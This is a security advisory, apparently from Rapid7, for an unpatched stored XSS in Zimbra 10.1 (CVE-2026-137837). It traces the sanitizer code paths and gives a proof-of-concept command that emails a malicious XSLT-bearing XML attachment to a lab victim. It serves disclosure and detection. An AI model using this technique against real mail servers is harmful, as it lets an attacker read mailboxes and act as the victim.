--- cve: CVE-2026-137837 cna: Rapid7 credit: Jonah Burgess (Rapid7) severity: "Critical (Rapid7)" cvss_v3_1: "9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N" cwe: "CWE-79" affected_versions: "10.1.0 through 10.1.22" fixed_versions: "No confirmed fix" --- # CVE-2026-137837: Unauthenticated Stored XSS via Preserved XML Stylesheet Processing Instructions ## Summary An unauthenticated sender can execute JavaScript on the Zimbra origin by emailing an XML attachment containing an `xml-stylesheet` processing instruction. Zimbra sanitizes the document but copies the instruction and its attacker-controlled `data:` URI unchanged. The browser then applies the embedded XSLT, which generates active HTML after server-side sanitization has finished. This is a separate sink from [ZIMBRA-SVGXSS](ZIMBRA-SVGXSS.md) (previous disclosure) and [CVE-2026-137836](CVE-2026-137836.md): it does not inject through an attribute or text node. ## Prerequisites and Scope The attacker needs normal email delivery to the target. The recipient must be authenticated to Zimbra and click the XML attachment filename rather than **Download** in Classic. ## Technical Analysis `XHtmlDefang.java` creates `XHtmlDocumentHandler` and parses the untrusted document through it: ```java SAXParserFactory spf = XHtmlDefang.makeSAXParserFactory(); SAXParser sp = spf.newSAXParser(); XHtmlDocumentHandler handler = new XHtmlDocumentHandler(out); // [0] attacker XML parsed sp.parse(is, (DefaultHandler)handler); ``` At `[0]`, processing instructions in the attacker document reach `XHtmlDocumentHandler`. The 10.1.20 callback in `XHtmlDocumentHandler.java` is: ```java @Override public void processingInstruction(String target, String data) throws SAXException { try { this.out.append(""); // [1] processing instruction preserved } catch (IOException e) { throw new SAXException(e); } } ``` At `[1]`, the handler reproduces both `xml-stylesheet` and its complete `href` without filtering the target, scheme, or data. Zimbra does not execute the stylesheet; the browser applies it to the returned XML and parses the transform result as HTML. ### The attachment remains an inline XML response `NativeFormatter.java` contains this download branch: ```java } else if (DefangFactory.isDefangXmlContentType(shortContentType)) { // [2] forced-download media types contentType = "application/octet-stream"; ``` At `[2]`, only media types in `DEFANG_XML_CONTENT_TYPES` are forced to download. The default ZCS 10.1.20 set contains `application/xhtml+xml`, SVG and several `+xml` types, but not `application/xml`. The formatter's separate scriptable-type set is: ```java private static final Set SCRIPTABLE_CONTENT_TYPES = ImmutableSet.of((Object)"text/html", (Object)"application/xhtml+xml", (Object)"text/xml", (Object)"application/x-zimbra-doc", (Object)"application/x-zimbra-slides", (Object)"application/x-zimbra-xls", (Object[])new String[]{"image/svg+xml", "application/xml", "application/svg+xml"}); // [3] application/xml is scriptable ``` At `[3]`, `application/xml` is instead classified as scriptable. `DefangFactory.java` selects its sanitizer here: ```java if (contentTypeLowerCase.startsWith("text/xml") || contentTypeLowerCase.startsWith("application/xhtml+xml") || contentTypeLowerCase.startsWith("image/svg+xml") || contentTypeLowerCase.startsWith("application/xml") || DefangFactory.isDefangXmlContentType(contentType)) { return xhtmlDefang; // [4] XML sanitizer selected } ``` At `[4]`, `application/xml` is routed to `XHtmlDefang`. For the default inline disposition, `NativeFormatter` follows this branch: ```java } else if (disp.equals("inline") && NativeFormatter.isScriptableContent(contentType)) { contentType = Mime.getContentType(contentType).toLowerCase(); BrowserDefang defanger = DefangFactory.getDefanger(contentType); String content = defanger.defang(Mime.getTextReader(is, contentType, defaultCharset), true); resp.setContentType(contentType); String charset = Mime.getCharset(contentType); resp.setCharacterEncoding(Strings.isNullOrEmpty((String)charset) ? Charsets.UTF_8.name() : charset); if (!content.isEmpty()) { resp.setContentLength(content.getBytes().length); } resp.getWriter().write(content); // [5] sanitized XML served inline ``` The write at `[5]` returns the sanitized XML inline on the authenticated Zimbra origin. The processing instruction preserved at `[1]` remains in that response, so the browser applies the attacker’s stylesheet after the server-side sanitizer has finished. ## Exploitation PoC: [xslt_processing_instruction_xss.py](../pocs/CVE-2026-137837/xslt_processing_instruction_xss.py). The complete XML attachment generated for `alert(document.domain)` is: ```xml

XML report

``` The data URI contains a self-contained XSLT 1.0 stylesheet whose root template emits an HTML `body` with `onload="alert(document.domain)"`. The PoC constructs the complete attachment shown above and sends it over unauthenticated SMTP: ```shell python3 pocs/CVE-2026-137837/xslt_processing_instruction_xss.py \ --smtp-host mail.lab.local \ --victim victim@lab.local \ --sender reports@attacker.example ``` The PoC output is: ``` [+] SMTP accepted XML attachment 'report.xml' for victim@lab.local [*] trigger: open the message and click the attachment filename (not Download) ``` Normal SMTP delivery created a message whose Classic attachment controls were `report.xml`, **Preview**, and **Download**. The filename link requested the default inline part URL without `disp=a`: ``` /service/home/~/?auth=co&loc=en_US&id=MSG_ID&part=2 ``` That request returned: ``` HTTP/1.1 200 OK Content-Type: application/xml;charset=utf-8 Content-Length: 538 ``` The response retained the complete `xml-stylesheet` data URI. Clicking the filename executed the payload. **Preview** and **Download** do not trigger it; **Download** requests `disp=a` instead. ![The delivered email contains the XML stylesheet payload attachment](../assets/CVE-2026-137837/xml-stylesheet-attachment-message.png) ![The inline XML attachment applies its stylesheet and executes JavaScript](../assets/CVE-2026-137837/xml-stylesheet-xss.png) Attacker-published Briefcase content reaches the same processing-instruction sink, with the additional prerequisite of an ordinary attacker account. ## Impact Opening the inline attachment runs attacker-generated HTML on the authenticated Zimbra origin. That script can read mailbox content and perform state-changing SOAP operations as the recipient. Where the separate delegation flaw is present, the [persistent-access chain](../chains/xss_to_persistent_mailbox_access.md) can retain that access after the browser session ends. This unauthenticated stored XSS scores [**9.3 Critical**](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). ## Patch Status No fixed release has been established through ZCS 10.1.22. ## Indicators of Compromise (IoCs) The [XML attachment guide](../detections/mail_and_calendar.md#xml-attachments-and-rendered-metadata) provides a MIME inspector for stylesheet instructions and decoded markup, and identifies the original attachment and served response to preserve.